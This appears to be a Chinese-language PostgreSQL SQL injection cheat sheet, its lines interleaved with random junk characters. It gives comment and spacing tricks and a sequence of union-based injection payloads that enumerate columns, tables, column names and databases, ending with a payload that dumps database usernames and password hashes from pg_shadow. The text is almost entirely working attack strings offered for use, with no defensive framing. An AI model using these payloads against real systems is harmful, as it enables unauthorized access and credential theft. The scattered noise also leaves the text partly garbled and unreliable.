结合了MSSQL MySQL Oracle的一些特点
. z/ u) W3 T0 m) J' E支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
/ n6 R$ F* S# c* ] s连接符: %20 , + , /**/ 内置函数:6 H/ }4 {2 _. _
current_database() //当前数据库名) a7 E* s# U9 j' d# Z3 E
session_user //会话用户
! ?! M2 l& }4 Scurrent_user //当前数据库用户' A. i( r5 ~/ c; S9 x1 r6 |
user //当前用户
& a! |- U7 A! t* bversion() //数据库版本 Union注射:
% f4 n8 H$ J0 @7 }( Korder by n–- Z9 n; v9 Y" r
and 1=2 union select null,null,null–# k' T ~$ Y4 l2 ~: W
and 1=2 union select ‘beach’,null,null–
4 ~# O( L# \" t7 h cand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
5 Z5 [2 X, p1 Z2 Ggroup_concat(table_name)
8 V2 [8 l8 V3 D5 n- E3 f! b7 x& Mand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–+ z* J9 b) ?! l' L4 R
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
7 z( b6 ~% z9 W1 Z% W8 G(老版本); c0 y* G8 R) {2 y9 R0 a. r
pg_class.oid对应pg_attribute.attrelid
0 D% q/ L" }$ @. K+ L0 w) x2 M- Lpg_class.relname表名
2 u1 g9 }: d% Y' D! N: Zpg_attribute.attname字段名 select relname from pg_class获取表名: x8 M% h# X# m7 s# F0 B
select oid from pg_class where 条件 获取参数
; P/ ^* @! Q( ]" [' [" f/ G5 v# lselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:. U/ h) V4 s- K4 x9 ?" X A( ~, t
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表1 @( b" t# p2 H3 I) @
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
$ a% K2 A, N- ~1 E2 d由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
0 Q8 Y9 g# p3 W======================================================================# a3 o: [ s2 g+ J2 @3 } k! f) p/ \
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
0 Y7 V: q' p$ n: g5 Gand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |